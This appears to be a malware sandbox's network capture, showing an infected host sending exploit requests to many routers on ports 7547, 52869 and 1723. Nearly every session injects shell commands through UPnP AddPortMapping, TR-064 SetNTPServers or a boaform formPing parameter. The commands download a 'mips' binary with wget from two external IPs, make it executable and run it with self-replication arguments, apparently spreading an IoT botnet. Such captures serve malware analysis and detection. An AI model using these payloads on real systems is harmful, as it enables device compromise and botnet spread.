Apr 15, 2024 08:52:13.464961052 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	50126	76.174.225.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.551294088 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	38224	175.233.9.68	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.604052067 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	34416	121.149.168.189	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.606307983 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.992484093 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	53494	104.240.53.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.611728907 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	38724	34.149.92.77	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.617440939 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	49690	81.151.235.54	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.620887041 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:13.929277897 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	33880	109.159.93.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.621380091 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	42640	80.111.199.200	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.639607906 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	33562	170.79.116.100	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.696696997 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	36814	45.251.36.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.721899986 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	50144	76.174.225.138	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.729799986 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	33160	14.72.205.163	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.839570045 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	43834	190.16.125.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.839920998 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	32956	14.53.2.212	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.843556881 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	39944	119.219.242.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.844924927 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	53518	104.240.53.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.847512007 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	57130	86.179.210.39	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.865375996 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	57706	220.255.233.240	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.870739937 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.191570044 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	34480	121.149.168.189	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.905529976 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	38288	175.233.9.68	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:13.905616999 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:14.288486958 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	49754	81.151.235.54	7547

Timestamp	Bytes transferred	Direction	Data
